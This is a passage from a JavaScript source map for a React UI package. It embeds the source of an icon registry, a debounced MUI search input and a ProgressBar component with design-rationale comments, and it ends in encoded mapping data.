\"./nexture/ni-list-number\";\nimport NiListSquare from \"./nexture/ni-list-square\";\nimport NiLoader from \"./nexture/ni-loader\";\nimport NiLock from \"./nexture/ni-lock\";\nimport NiLuggage from \"./nexture/ni-luggage\";\nimport NiLungs from \"./nexture/ni-lungs\";\nimport NiMagicWand from \"./nexture/ni-magic-wand\";\nimport NiMale from \"./nexture/ni-male\";\nimport NiMap from \"./nexture/ni-map\";\nimport NiMasonary from \"./nexture/ni-masonary\";\nimport NiMedal from \"./nexture/ni-medal\";\nimport NiMenu from \"./nexture/ni-menu\";\nimport NiMenuLeft from \"./nexture/ni-menu-left\";\nimport NiMenuRight from \"./nexture/ni-menu-right\";\nimport NiMenuSplit from \"./nexture/ni-menu-split\";\nimport NiMenuSplitDot from \"./nexture/ni-menu-split-dot\";\nimport NiMenuSplitDotReverse from \"./nexture/ni-menu-split-dot-reverse\";\nimport NiMenuSplitReverse from \"./nexture/ni-menu-split-reverse\";\nimport NiMessage from \"./nexture/ni-message\";\nimport NiMessageCheck from \"./nexture/ni-message-check\";\nimport NiMessageCross from \"./nexture/ni-message-cross\";\nimport NiMessageDots from \"./nexture/ni-message-dots\";\nimport NiMessageFilled from \"./nexture/ni-message-filled\";\nimport NiMessageGrammar from \"./nexture/ni-message-grammar\";\nimport NiMessagePlus from \"./nexture/ni-message-plus\";\nimport NiMessages from \"./nexture/ni-messages\";\nimport NiMicrophone from \"./nexture/ni-microphone\";\nimport NiMinus from \"./nexture/ni-minus\";\nimport NiMinusFull from \"./nexture/ni-minus-full\";\nimport NiMinusSquare from \"./nexture/ni-minus-square\";\nimport NiMoney from \"./nexture/ni-money\";\nimport NiMoneyBag from \"./nexture/ni-money-bag\";\nimport NiMoon from \"./nexture/ni-moon\";\nimport NiMountain from \"./nexture/ni-mountain\";\nimport NiMouse from \"./nexture/ni-mouse\";\nimport NiMove from \"./nexture/ni-move\";\nimport NiMusic from \"./nexture/ni-music\";\nimport NiNetwork from \"./nexture/ni-network\";\nimport NiNext from \"./nexture/ni-next\";\nimport NiOxygen from \"./nexture/ni-oxygen\";\nimport NiPaintBucket from \"./nexture/ni-paint-bucket\";\nimport NiPaintRoller from \"./nexture/ni-paint-roller\";\nimport NiPalette from \"./nexture/ni-palette\";\nimport NiPaperclip from \"./nexture/ni-paperclip\";\nimport NiParentheses from \"./nexture/ni-parentheses\";\nimport NiPath from \"./nexture/ni-path\";\nimport NiPause from \"./nexture/ni-pause\";\nimport NiPen from \"./nexture/ni-pen\";\nimport NiPenSquare from \"./nexture/ni-pen-square\";\nimport NiPercent from \"./nexture/ni-percent\";\nimport NiPhone from \"./nexture/ni-phone\";\nimport NiPhoneHandset from \"./nexture/ni-phone-handset\";\nimport NiPhoneHandsetCheck from \"./nexture/ni-phone-handset-check\";\nimport NiPhoneHandsetOff from \"./nexture/ni-phone-handset-off\";\nimport NiPhoneHandsetOn from \"./nexture/ni-phone-handset-on\";\nimport NiPin from \"./nexture/ni-pin\";\nimport NiPinCheck from \"./nexture/ni-pin-check\";\nimport NiPinCross from \"./nexture/ni-pin-cross\";\nimport NiPinPlus from \"./nexture/ni-pin-plus\";\nimport NiPine from \"./nexture/ni-pine\";\nimport NiPivot from \"./nexture/ni-pivot\";\nimport NiPlane from \"./nexture/ni-plane\";\nimport NiPlay from \"./nexture/ni-play\";\nimport NiPlug from \"./nexture/ni-plug\";\nimport NiPlus from \"./nexture/ni-plus\";\nimport NiPlusFull from \"./nexture/ni-plus-full\";\nimport NiPlusSquare from \"./nexture/ni-plus-square\";\nimport NiPolitics from \"./nexture/ni-politics\";\nimport NiPound from \"./nexture/ni-pound\";\nimport NiPoundSquare from \"./nexture/ni-pound-square\";\nimport NiPower from \"./nexture/ni-power\";\nimport NiPresentation from \"./nexture/ni-presentation\";\nimport NiPrevious from \"./nexture/ni-previous\";\nimport NiPrinter from \"./nexture/ni-printer\";\nimport NiProgress from \"./nexture/ni-progress\";\nimport NiPullRequestClosed from \"./nexture/ni-pull-request-closed\";\nimport NiPullRequestDraft from \"./nexture/ni-pull-request-draft\";\nimport NiPullRequestMerged from \"./nexture/ni-pull-request-merged\";\nimport NiPullRequestOpen from \"./nexture/ni-pull-request-open\";\nimport NiPulse from \"./nexture/ni-pulse\";\nimport NiPushPin from \"./nexture/ni-push-pin\";\nimport NiPushPinLeft from \"./nexture/ni-push-pin-left\";\nimport NiPushPinRight from \"./nexture/ni-push-pin-right\";\nimport NiPuzzle from \"./nexture/ni-puzzle\";\nimport NiQuestionHexagon from \"./nexture/ni-question-hexagon\";\nimport NiRadio from \"./nexture/ni-radio\";\nimport NiRankFour from \"./nexture/ni-rank-four\";\nimport NiRankOne from \"./nexture/ni-rank-one\";\nimport NiRankThree from \"./nexture/ni-rank-three\";\nimport NiRankTwo from \"./nexture/ni-rank-two\";\nimport NiReceipt from \"./nexture/ni-receipt\";\nimport NiRecord from \"./nexture/ni-record\";\nimport NiRefresh from \"./nexture/ni-refresh\";\nimport NiReligion from \"./nexture/ni-religion\";\nimport NiResearch from \"./nexture/ni-research\";\nimport NiRevenue from \"./nexture/ni-revenue\";\nimport NiReverseLeft from \"./nexture/ni-reverse-left\";\nimport NiReverseRight from \"./nexture/ni-reverse-right\";\nimport NiRobot from \"./nexture/ni-robot\";\nimport NiRocket from \"./nexture/ni-rocket\";\nimport NiRouter from \"./nexture/ni-router\";\nimport NiRows from \"./nexture/ni-rows\";\nimport NiSafe from \"./nexture/ni-safe\";\nimport NiScale from \"./nexture/ni-scale\";\nimport NiScalpel from \"./nexture/ni-scalpel\";\nimport NiScissors from \"./nexture/ni-scissors\";\nimport NiScreen from \"./nexture/ni-screen\";\nimport NiScriptSub from \"./nexture/ni-script-sub\";\nimport NiScriptSuper from \"./nexture/ni-script-super\";\nimport NiSdCard from \"./nexture/ni-sd-card\";\nimport NiSearch from \"./nexture/ni-search\";\nimport NiSelect from \"./nexture/ni-select\";\nimport NiSendDown from \"./nexture/ni-send-down\";\nimport NiSendDownLeft from \"./nexture/ni-send-down-left\";\nimport NiSendDownRight from \"./nexture/ni-send-down-right\";\nimport NiSendLeft from \"./nexture/ni-send-left\";\nimport NiSendRight from \"./nexture/ni-send-right\";\nimport NiSendUp from \"./nexture/ni-send-up\";\nimport NiSendUpLeft from \"./nexture/ni-send-up-left\";\nimport NiSendUpRight from \"./nexture/ni-send-up-right\";\nimport NiServer from \"./nexture/ni-server\";\nimport NiSettings from \"./nexture/ni-settings\";\nimport NiShare from \"./nexture/ni-share\";\nimport NiShield from \"./nexture/ni-shield\";\nimport NiShieldCheck from \"./nexture/ni-shield-check\";\nimport NiShieldCross from \"./nexture/ni-shield-cross\";\nimport NiShrinkFull from \"./nexture/ni-shrink-full\";\nimport NiShrinkSquare from \"./nexture/ni-shrink-square\";\nimport NiShuffle from \"./nexture/ni-shuffle\";\nimport NiSign from \"./nexture/ni-sign\";\nimport NiSignalLeftRight from \"./nexture/ni-signal-left-right\";\nimport NiSignalRight from \"./nexture/ni-signal-right\";\nimport NiSignalUp from \"./nexture/ni-signal-up\";\nimport NiSigns from \"./nexture/ni-signs\";\nimport NiSlashHexagon from \"./nexture/ni-slash-hexagon\";\nimport NiSlider from \"./nexture/ni-slider\";\nimport NiSnow from \"./nexture/ni-snow\";\nimport NiSoundCross from \"./nexture/ni-sound-cross\";\nimport NiSoundOff from \"./nexture/ni-sound-off\";\nimport NiSoundOn from \"./nexture/ni-sound-on\";\nimport NiSoundPlus from \"./nexture/ni-sound-plus\";\nimport NiSparkle from \"./nexture/ni-sparkle\";\nimport NiSpinner from \"./nexture/ni-spinner\";\nimport NiSquare from \"./nexture/ni-square\";\nimport NiSquircle from \"./nexture/ni-squircle\";\nimport NiStar from \"./nexture/ni-star\";\nimport NiStars from \"./nexture/ni-stars\";\nimport NiStomach from \"./nexture/ni-stomach\";\nimport NiStopwatch from \"./nexture/ni-stopwatch\";\nimport NiStore from \"./nexture/ni-store\";\nimport NiStructure from \"./nexture/ni-structure\";\nimport NiSum from \"./nexture/ni-sum\";\nimport NiSun from \"./nexture/ni-sun\";\nimport NiSwap from \"./nexture/ni-swap\";\nimport NiSwitch from \"./nexture/ni-switch\";\nimport NiTablet from \"./nexture/ni-tablet\";\nimport NiTag from \"./nexture/ni-tag\";\nimport NiTelescope from \"./nexture/ni-telescope\";\nimport NiTemperature from \"./nexture/ni-temperature\";\nimport NiTent from \"./nexture/ni-tent\";\nimport NiTerminal from \"./nexture/ni-terminal\";\nimport NiTextBold from \"./nexture/ni-text-bold\";\nimport NiTextCenter from \"./nexture/ni-text-center\";\nimport NiTextFont from \"./nexture/ni-text-font\";\nimport NiTextItalic from \"./nexture/ni-text-italic\";\nimport NiTextJustify from \"./nexture/ni-text-justify\";\nimport NiTextLeft from \"./nexture/ni-text-left\";\nimport NiTextQuote from \"./nexture/ni-text-quote\";\nimport NiTextRight from \"./nexture/ni-text-right\";\nimport NiTextStrikethrough from \"./nexture/ni-text-strikethrough\";\nimport NiTextUnderline from \"./nexture/ni-text-underline\";\nimport NiTextarea from \"./nexture/ni-textarea\";\nimport NiTicket from \"./nexture/ni-ticket\";\nimport NiTimeline from \"./nexture/ni-timeline\";\nimport NiTooth from \"./nexture/ni-tooth\";\nimport NiToyBoat from \"./nexture/ni-toy-boat\";\nimport NiToySky from \"./nexture/ni-toy-sky\";\nimport NiToyStacking from \"./nexture/ni-toy-stacking\";\nimport NiTrade from \"./nexture/ni-trade\";\nimport NiTree from \"./nexture/ni-tree\";\nimport NiTrendDown from \"./nexture/ni-trend-down\";\nimport NiTrendUp from \"./nexture/ni-trend-up\";\nimport NiTriangleDown from \"./nexture/ni-triangle-down\";\nimport NiTriangleLeft from \"./nexture/ni-triangle-left\";\nimport NiTriangleRight from \"./nexture/ni-triangle-right\";\nimport NiTriangleUp from \"./nexture/ni-triangle-up\";\nimport NiTrophy from \"./nexture/ni-trophy\";\nimport NiTruck from \"./nexture/ni-truck\";\nimport NiTubes from \"./nexture/ni-tubes\";\nimport NiUngroup from \"./nexture/ni-ungroup\";\nimport NiUnlike from \"./nexture/ni-unlike\";\nimport NiUnlock from \"./nexture/ni-unlock\";\nimport NiUploadCloud from \"./nexture/ni-upload-cloud\";\nimport NiUser from \"./nexture/ni-user\";\nimport NiUserCheck from \"./nexture/ni-user-check\";\nimport NiUserCross from \"./nexture/ni-user-cross\";\nimport NiUserMinus from \"./nexture/ni-user-minus\";\nimport NiUserPlus from \"./nexture/ni-user-plus\";\nimport NiUsers from \"./nexture/ni-users\";\nimport NiVerified from \"./nexture/ni-verified\";\nimport NiWallet from \"./nexture/ni-wallet\";\nimport NiWalletCrypto from \"./nexture/ni-wallet-crypto\";\nimport NiWatch from \"./nexture/ni-watch\";\nimport NiWeightScale from \"./nexture/ni-weight-scale\";\nimport NiWind from \"./nexture/ni-wind\";\nimport NiWorld from \"./nexture/ni-world\";\nimport NiZoomIn from \"./nexture/ni-zoom-in\";\nimport NiZoomOut from \"./nexture/ni-zoom-out\";\n\nexport const IconMap = {\n NiAI,\n NiAirBalloon,\n NiAnchor,\n NiAnnouncement,\n NiAntenna,\n NiArchiveCheck,\n NiArchive,\n NiArrowCircleLeft,\n NiArrowCircleRight,\n NiArrowDownLeftSquare,\n NiArrowDownLeft,\n NiArrowDownRightSquare,\n NiArrowDownRight,\n NiArrowDownSquare,\n NiArrowDown,\n NiArrowHistory,\n NiArrowInDown,\n NiArrowInLeft,\n NiArrowInRight,\n NiArrowInUp,\n NiArrowLeftRight,\n NiArrowLeftSquare,\n NiArrowLeft,\n NiArrowOutDown,\n NiArrowOutLeft,\n NiArrowOutRight,\n NiArrowOutUp,\n NiArrowRightSquare,\n NiArrowRight,\n NiArrowUpDown,\n NiArrowUpLeftSquare,\n NiArrowUpLeft,\n NiArrowUpRightSquare,\n NiArrowUpRight,\n NiArrowUpSquare,\n NiArrowUp,\n NiAt,\n NiBadgeCheck,\n NiBadge,\n NiBag,\n NiBandAid,\n NiBarcode,\n NiBasket,\n NiBatteryCharging,\n NiBatteryEmpty,\n NiBatteryFull,\n NiBellInactive,\n NiBell,\n NiBinEmpty,\n NiBinFull,\n NiBloodCells,\n NiBluetooth,\n NiBook,\n NiBookmarkSingle,\n NiBookmark,\n NiBraces,\n NiBrackets,\n NiBrain,\n NiBrainCircuit,\n NiBriefcase,\n NiBrushArtSquare,\n NiBrushArt,\n NiBrush,\n NiBug,\n NiBuilding,\n NiBulbOff,\n NiBulbOn,\n NiButton,\n NiButtonGroup,\n NiButtonLarge,\n NiCake,\n NiCalendar,\n NiCalendarClock,\n NiCamera,\n NiCar,\n NiCartArrow,\n NiCartCross,\n NiCartEmpty,\n NiCartMinus,\n NiCartPlus,\n NiCatalog,\n NiCellsPlus,\n NiCells,\n NiChange,\n NiChartBar,\n NiChartCandleSticks,\n NiChartFunnel,\n NiChartHeatmap,\n NiChartLineBar,\n NiChartLine,\n NiChartPie,\n NiChartPolar,\n NiChartRadar,\n NiChartScatter,\n NiCheckSquare,\n NiCheck,\n NiCheckFull,\n NiChef,\n NiChevronDownSmall,\n NiChevronDown,\n NiChevronLeftRightReverseSmall,\n NiChevronLeftRightSmall,\n NiChevronLeftSmall,\n NiChevronLeft,\n NiChevronRightSmall,\n NiChevronRight,\n NiChevronUpDownReverseSmall,\n NiChevronUpDownSmall,\n NiChevronUpSmall,\n NiChevronUp,\n NiCholesterol,\n NiCircle,\n NiClipboard,\n NiClock,\n NiCloudPartly,\n NiCloudRain,\n NiCloudSnow,\n NiCloudThunder,\n NiCloud,\n NiCode,\n NiCoffee,\n NiCoin,\n NiCollapse,\n NiCollapseIn,\n NiCols,\n NiCompass,\n NiController,\n NiCopyright,\n NiCpu,\n NiCreditCard,\n NiCrop,\n NiCrossHexagon,\n NiCrossSquare,\n NiCross,\n NiCrossFull,\n NiCrosshair,\n NiCrown,\n NiCursor,\n NiDashboard,\n NiDatabase,\n NiDevops,\n NiDiagram,\n NiDice,\n NiDirectory,\n NiDocumentArchive,\n NiDocumentChart,\n NiDocumentCheck,\n NiDocumentCode,\n NiDocumentCross,\n NiDocumentFull,\n NiDocumentImage,\n NiDocumentMinus,\n NiDocumentNumber,\n NiDocumentPlus,\n NiDocumentVideo,\n NiDollarSquare,\n NiDollar,\n NiDotsSquare,\n NiDownloadCloud,\n NiDragHorizontal,\n NiDragVertical,\n NiDrink,\n NiDrop,\n NiDuplicate,\n NiEllipsisHorizontal,\n NiEllipsisVertical,\n NiEmailOpen,\n NiEmail,\n NiEndDownSmall,\n NiEndLeftSmall,\n NiEndRightSmall,\n NiEndUpSmall,\n NiEnterDown,\n NiEnterLeft,\n NiEnterReverseDown,\n NiEnterReverseLeft,\n NiEnterReverseRight,\n NiEnterReverseUp,\n NiEnterRight,\n NiEnterUp,\n NiEquals,\n NiEqualsFull,\n NiEraser,\n NiEuroSquare,\n NiEuro,\n NiExclamationHexagon,\n NiExclamationSquare,\n NiExpandOut,\n NiExpandSquare,\n NiExpandFull,\n NiExpand,\n NiExternal,\n NiEyeClose,\n NiEyeInactive,\n NiEyeOpen,\n NiFaceFrownMore,\n NiFaceFrown,\n NiFaceNeutral,\n NiFaceSmileMore,\n NiFaceSmile,\n NiFemale,\n NiFilterCross,\n NiFilterMinus,\n NiFilterPlus,\n NiFilter,\n NiFingerprint,\n NiFire,\n NiFirstAid,\n NiFitness,\n NiFlag,\n NiFlash,\n NiFlask,\n NiFloppyDisk,\n NiFolderCheck,\n NiFolderCross,\n NiFolderMinus,\n NiFolderPlus,\n NiFolder,\n NiForwardDownSmall,\n NiForwardLeftSmall,\n NiForwardRightSmall,\n NiForwardUpSmall,\n NiGay,\n NiGerm,\n NiGogo,\n NiGold,\n NiGpu,\n NiGroup,\n NiGraduation,\n NiHeadphones,\n NiHeadset,\n NiHeadsetMic,\n NiHealth,\n NiHeart,\n NiHeartRate,\n NiHearts,\n NiHome,\n NiInbox,\n NiInfoSquare,\n NiInjection,\n NiInput,\n NiIntegration,\n NiInternal,\n NiIv,\n NiJoin,\n NiKey,\n NiKeyboard,\n NiKnobs,\n NiLaptop,\n NiLayout,\n NiLaw,\n NiLike,\n NiLinkBroken,\n NiLink,\n NiListCheck,\n NiListChevronDown,\n NiListCircle,\n NiListCross,\n NiListNumber,\n NiListSquare,\n NiList,\n NiLungs,\n NiLoader,\n NiLock,\n NiLuggage,\n NiMagicWand,\n NiMale,\n NiMap,\n NiMasonary,\n NiMedal,\n NiMenu,\n NiMenuLeft,\n NiMenuRight,\n NiMenuSplitDotReverse,\n NiMenuSplitDot,\n NiMenuSplitReverse,\n NiMenuSplit,\n NiMessageCheck,\n NiMessageCross,\n NiMessageDots,\n NiMessageFilled,\n NiMessageGrammar,\n NiMessagePlus,\n NiMessage,\n NiMessages,\n NiMicrophone,\n NiMinus,\n NiMinusFull,\n NiMinusSquare,\n NiMoneyBag,\n NiMoney,\n NiMoon,\n NiMountain,\n NiMouse,\n NiMove,\n NiMusic,\n NiNetwork,\n NiNext,\n NiOxygen,\n NiPaintBucket,\n NiPaintRoller,\n NiPalette,\n NiPaperclip,\n NiParentheses,\n NiPath,\n NiPause,\n NiPenSquare,\n NiPen,\n NiPercent,\n NiPhoneHandsetCheck,\n NiPhoneHandsetOff,\n NiPhoneHandsetOn,\n NiPhoneHandset,\n NiPhone,\n NiPinCheck,\n NiPinCross,\n NiPinPlus,\n NiPin,\n NiPine,\n NiPivot,\n NiPlane,\n NiPlay,\n NiPlug,\n NiPlusSquare,\n NiPlus,\n NiPlusFull,\n NiPolitics,\n NiPoundSquare,\n NiPound,\n NiPower,\n NiPresentation,\n NiPrevious,\n NiPrinter,\n NiProgress,\n NiPullRequestClosed,\n NiPullRequestDraft,\n NiPullRequestMerged,\n NiPullRequestOpen,\n NiPulse,\n NiPushPin,\n NiPushPinLeft,\n NiPushPinRight,\n NiPuzzle,\n NiQuestionHexagon,\n NiRankOne,\n NiRankTwo,\n NiRankThree,\n NiRankFour,\n NiRadio,\n NiReceipt,\n NiRecord,\n NiRefresh,\n NiReligion,\n NiResearch,\n NiRevenue,\n NiReverseLeft,\n NiReverseRight,\n NiRobot,\n NiRocket,\n NiRouter,\n NiRows,\n NiSafe,\n NiScale,\n NiScalpel,\n NiScissors,\n NiScreen,\n NiScriptSub,\n NiScriptSuper,\n NiSdCard,\n NiSearch,\n NiSelect,\n NiSendDownLeft,\n NiSendDownRight,\n NiSendDown,\n NiSendLeft,\n NiSendRight,\n NiSendUpLeft,\n NiSendUpRight,\n NiSendUp,\n NiServer,\n NiSettings,\n NiShare,\n NiShieldCheck,\n NiShieldCross,\n NiShield,\n NiShrinkSquare,\n NiShrinkFull,\n NiShuffle,\n NiSign,\n NiSignalLeftRight,\n NiSignalRight,\n NiSignalUp,\n NiSigns,\n NiSlashHexagon,\n NiSlider,\n NiSnow,\n NiSoundCross,\n NiSoundOff,\n NiSoundOn,\n NiSoundPlus,\n NiSparkle,\n NiSpinner,\n NiSquare,\n NiSquircle,\n NiStar,\n NiStars,\n NiStopwatch,\n NiStore,\n NiStomach,\n NiStructure,\n NiSum,\n NiSun,\n NiSwap,\n NiSwitch,\n NiTablet,\n NiTag,\n NiTelescope,\n NiTemperature,\n NiTent,\n NiTerminal,\n NiTextBold,\n NiTextCenter,\n NiTextFont,\n NiTextItalic,\n NiTextJustify,\n NiTextLeft,\n NiTextQuote,\n NiTextRight,\n NiTextStrikethrough,\n NiTextUnderline,\n NiTextarea,\n NiTicket,\n NiTimeline,\n NiTooth,\n NiToyBoat,\n NiToySky,\n NiToyStacking,\n NiTrade,\n NiTree,\n NiTrendDown,\n NiTrendUp,\n NiTriangleDown,\n NiTriangleLeft,\n NiTriangleRight,\n NiTriangleUp,\n NiTrophy,\n NiTruck,\n NiTubes,\n NiUngroup,\n NiUnlike,\n NiUnlock,\n NiUploadCloud,\n NiUserCheck,\n NiUserCross,\n NiUserMinus,\n NiUserPlus,\n NiUser,\n NiUsers,\n NiVerified,\n NiWalletCrypto,\n NiWallet,\n NiWatch,\n NiWeightScale,\n NiWind,\n NiWorld,\n NiZoomIn,\n NiZoomOut,\n};\n\nexport type IconName = keyof typeof IconMap;\nexport type IconSize = \"large\" | \"medium\" | \"small\" | \"tiny\" | number;\nexport type IconVariant = \"outlined\" | \"contained\";\n\nexport type NextureIconsProps = {\n variant?: IconVariant;\n className?: string;\n size?: IconSize;\n strokeWidth?: number;\n oneTone?: boolean;\n};\n\nexport type NextureIconsPropsComponent = NextureIconsProps & {\n icon: IconName;\n};\n\nconst NextureIcons: React.FC<NextureIconsPropsComponent> = ({\n icon,\n size = 20,\n variant = \"outlined\",\n className,\n strokeWidth = 1.5,\n oneTone = false,\n}) => {\n const IconComponent = IconMap[icon];\n if (!IconComponent) {\n console.warn(`Icon \"${icon}\" not found in IconMap.`);\n return null;\n }\n return (\n <IconComponent variant={variant} size={size} className={className} strokeWidth={strokeWidth} oneTone={oneTone} />\n );\n};\n\nexport const sizeHelper = (size: NextureIconsProps[\"size\"]) => {\n if (typeof size === \"number\") {\n return size;\n } else if (size === \"large\") {\n return 24;\n } else if (size === \"small\" || size === \"tiny\") {\n return 16;\n } else {\n return 20;\n }\n};\n\nexport const strokeSizeHelper = (size: number) => {\n if (size === 32) {\n return 1.15;\n } else if (size >= 20) {\n return 1.5;\n } else {\n return 1.75;\n }\n};\n\nexport default NextureIcons;\n","import { memo, useCallback, useEffect, useId, useRef, useState } from \"react\";\nimport { FilledInput, FormControl, IconButton, InputAdornment, InputLabel } from \"@mui/material\";\n\nimport { NiCross, NiSearch } from \"../../icons/nexture\";\n\ninterface DebouncedSearchInputProps {\n value?: string;\n onChange: (value: string) => void;\n label?: string;\n delay?: number;\n className?: string;\n}\n\n/**\n * Self-contained search input that manages its own typing state.\n * Only calls `onChange` after a debounce, preventing expensive parent re-renders\n * (e.g. DataGrid) on every keystroke.\n *\n * Promoted here from `sales` and `timesheets`, where the file was byte-identical in both and a\n * third search field had been hand-mirrored from it in a shared toolbar. \"Search bars don't look\n * the same\" is not a problem a lint rule can fix - only one implementation can - so this is the\n * implementation, and `coreconnect/no-local-search-input` is the backstop that stops the next\n * plugin writing a fourth.\n *\n * Class composition uses the package's existing join idiom rather than a `cn`/tailwind-merge\n * helper, which keeps `plugin-ui` free of new runtime dependencies. No caller passes a conflicting\n * utility class today, so tailwind-merge's conflict resolution is unexercised; a caller that needs\n * it should override via `sx` instead of racing class order.\n */\nexport const DebouncedSearchInput = memo(function DebouncedSearchInput({\n value = \"\",\n onChange,\n label = \"Search\",\n delay = 400,\n className,\n}: DebouncedSearchInputProps) {\n const [localValue, setLocalValue] = useState(value);\n // Associate the InputLabel with the FilledInput — a bare FormControl+InputLabel+Input\n // doesn't auto-link them (unlike TextField), leaving the label without a `for` target.\n const inputId = useId();\n const onChangeRef = useRef(onChange);\n onChangeRef.current = onChange;\n const lastReportedRef = useRef(value);\n const isFirstRender = useRef(true);\n\n // Sync external value changes (e.g. clear from parent)\n useEffect(() => {\n setLocalValue(value);\n lastReportedRef.current = value;\n }, [value]);\n\n // Debounce: notify parent only after typing pauses (skip initial mount)\n useEffect(() => {\n if (isFirstRender.current) {\n isFirstRender.current = false;\n return;\n }\n if (localValue === lastReportedRef.current) return;\n const timer = setTimeout(() => {\n lastReportedRef.current = localValue;\n onChangeRef.current(localValue);\n }, delay);\n return () => clearTimeout(timer);\n }, [localValue, delay]);\n\n const handleClear = useCallback(() => {\n setLocalValue(\"\");\n lastReportedRef.current = \"\";\n onChangeRef.current(\"\");\n }, []);\n\n const classes = (...parts: (string | false | undefined)[]) => parts.filter(Boolean).join(\" \");\n\n return (\n <FormControl variant=\"filled\" size=\"medium\" className={classes(\"surface mb-0 w-full\", className)}>\n <InputLabel htmlFor={inputId}>{label}</InputLabel>\n <FilledInput\n id={inputId}\n value={localValue}\n onChange={(e) => setLocalValue(e.target.value)}\n endAdornment={\n <>\n <InputAdornment position=\"end\" className={classes(localValue === \"\" && \"hidden\")}>\n <IconButton edge=\"end\" onClick={handleClear} aria-label=\"Clear search\">\n <NiCross size=\"medium\" className=\"text-text-disabled\" />\n </IconButton>\n </InputAdornment>\n <InputAdornment position=\"end\" className={classes(localValue !== \"\" && \"hidden\")} aria-hidden>\n <IconButton edge=\"end\" disabled tabIndex={-1}>\n <NiSearch size=\"medium\" className=\"text-text-disabled\" />\n </IconButton>\n </InputAdornment>\n </>\n }\n />\n </FormControl>\n );\n});\n","import type { SxProps, Theme } from \"@mui/material\";\nimport { LinearProgress } from \"@mui/material\";\n\ninterface ProgressBarProps {\n /**\n * Percentage complete, when the caller has a real current-of-total.\n *\n * <p><b>Omit it for an indeterminate bar</b>, which is the honest default when no total exists.\n * Tested with `typeof`, so `value={0}` stays determinate - zero is a real measurement and a\n * truthiness check would silently discard it and switch to a moving bar.</p>\n */\n value?: number;\n /** Layout overrides. The canonical height and radius are applied first, so they can be replaced. */\n sx?: SxProps<Theme>;\n /** For a bar whose meaning is not obvious from its surroundings. */\n \"aria-label\"?: string;\n}\n\n/**\n * The platform's progress bar: a `LinearProgress` carrying the one agreed height and radius.\n *\n * <p><b>Promoted because the numbers were the duplication, not the component.</b>\n * `sx={{ height: 6, borderRadius: 3 }}` was hand-written in ten files across five repos - the\n * monolith's background-operation banner, the tech repo-import indicator, the self-healing fix\n * banner, and SEVEN determinate metric bars in HR (OKR progress, onboarding and offboarding\n * checklists, review progress, the recruitment funnel). Several carried comments apologising for\n * the magic pair. Two numbers repeated ten times is a token that was never extracted.</p>\n *\n * <p><b>Deliberately NOT a banner.</b> Most of those sites are not announcing background work at\n * all - they are metric bars inside cards and list rows. {@link InProgressBanner} is the banner,\n * and it composes THIS, so the bar has one definition and the banner does not own it.</p>\n *\n * <p><b>No lint rule, unlike the promoted components.</b> The enforceable version would either\n * pattern-match literal `sx` values, which is fragile, or ban `LinearProgress` from the ui barrel\n * outright, which is too broad - a caller with genuinely different styling is legitimate. The\n * duplication here is a value rather than a shape, so this is a convention with one home, not a\n * gate.</p>\n */\nexport function ProgressBar({ value, sx, ...rest }: ProgressBarProps) {\n return (\n <LinearProgress\n variant={typeof value === \"number\" ? \"determinate\" : \"indeterminate\"}\n value={value}\n sx={{ height: 6, borderRadius: 3, ...sx }}\n {...rest}\n />\n );\n}\n"]}
1
+ {"version":3,"sources":["../../../src/components/ui/Dialog.tsx","../../../src/icons/nexture/ni-cross.tsx","../../../src/icons/nexture/ni-search.tsx","../../../src/icons/nexture-icons.tsx","../../../src/components/ui/DebouncedSearchInput.tsx","../../../src/components/ui/ProgressBar.tsx","../../../src/components/ui/FormStack.tsx"],"names":["MuiDialog","jsx","jsxs","DebouncedSearchInput"],"mappings":";;;;;;AAQO,SAAS,OAAO,KAAA,EAAoB;AACzC,EAAA,2BAAQA,QAAA,EAAA,EAAU,iBAAA,EAAiB,MAAC,mBAAA,EAAmB,IAAA,EAAE,GAAG,KAAA,EAAO,CAAA;AACrE;ACRe,SAAR,QAAyB,EAAE,SAAA,EAAW,UAAU,UAAA,EAAY,IAAA,GAAO,UAAS,EAAsB;AACvG,EAAA,MAAM,QAAA,GAAW,WAAW,IAAI,CAAA;AAChC,EAAA,MAAM,eAAA,GAAkB,iBAAiB,QAAQ,CAAA;AAEjD,EAAA,IAAI,YAAY,UAAA,EAAY;AAC1B,IAAA,uBACEC,GAAAA;AAAA,MAAC,KAAA;AAAA,MAAA;AAAA,QACC,KAAA,EAAO,QAAA;AAAA,QACP,MAAA,EAAQ,QAAA;AAAA,QACR,SAAA;AAAA,QACA,OAAA,EAAQ,WAAA;AAAA,QACR,IAAA,EAAK,MAAA;AAAA,QACL,KAAA,EAAM,4BAAA;AAAA,QAEN,QAAA,kBAAAA,GAAAA;AAAA,UAAC,MAAA;AAAA,UAAA;AAAA,YACC,CAAA,EAAE,wFAAA;AAAA,YACF,MAAA,EAAO,cAAA;AAAA,YACP,WAAA,EAAa,eAAA;AAAA,YACb,aAAA,EAAc;AAAA;AAAA;AAChB;AAAA,KACF;AAAA,EAEJ,CAAA,MAAO;AACL,IAAA,uBACEA,GAAAA;AAAA,MAAC,KAAA;AAAA,MAAA;AAAA,QACC,KAAA,EAAO,QAAA;AAAA,QACP,MAAA,EAAQ,QAAA;AAAA,QACR,SAAA;AAAA,QACA,OAAA,EAAQ,WAAA;AAAA,QACR,IAAA,EAAK,MAAA;AAAA,QACL,KAAA,EAAM,4BAAA;AAAA,QAEN,QAAA,kBAAAA,GAAAA;AAAA,UAAC,MAAA;AAAA,UAAA;AAAA,YACC,CAAA,EAAE,siBAAA;AAAA,YACF,IAAA,EAAK;AAAA;AAAA;AACP;AAAA,KACF;AAAA,EAEJ;AACF;ACvCe,SAAR,QAAA,CAA0B;AAAA,EAC/B,SAAA;AAAA,EACA,OAAA,GAAU,UAAA;AAAA,EACV,IAAA,GAAO,QAAA;AAAA,EACP,OAAA,GAAU;AACZ,CAAA,EAAsB;AACpB,EAAA,MAAM,QAAA,GAAW,WAAW,IAAI,CAAA;AAChC,EAAA,MAAM,eAAA,GAAkB,iBAAiB,QAAQ,CAAA;AACjD,EAAA,IAAI,YAAY,UAAA,EAAY;AAC1B,IAAA,uBACEC,IAAAA;AAAA,MAAC,KAAA;AAAA,MAAA;AAAA,QACC,KAAA,EAAO,QAAA;AAAA,QACP,MAAA,EAAQ,QAAA;AAAA,QACR,SAAA;AAAA,QACA,OAAA,EAAQ,WAAA;AAAA,QACR,IAAA,EAAK,MAAA;AAAA,QACL,KAAA,EAAM,4BAAA;AAAA,QAEN,QAAA,EAAA;AAAA,0BAAAD,GAAAA;AAAA,YAAC,MAAA;AAAA,YAAA;AAAA,cACC,OAAA,EAAS,UAAU,CAAA,GAAI,GAAA;AAAA,cACvB,CAAA,EAAE,kBAAA;AAAA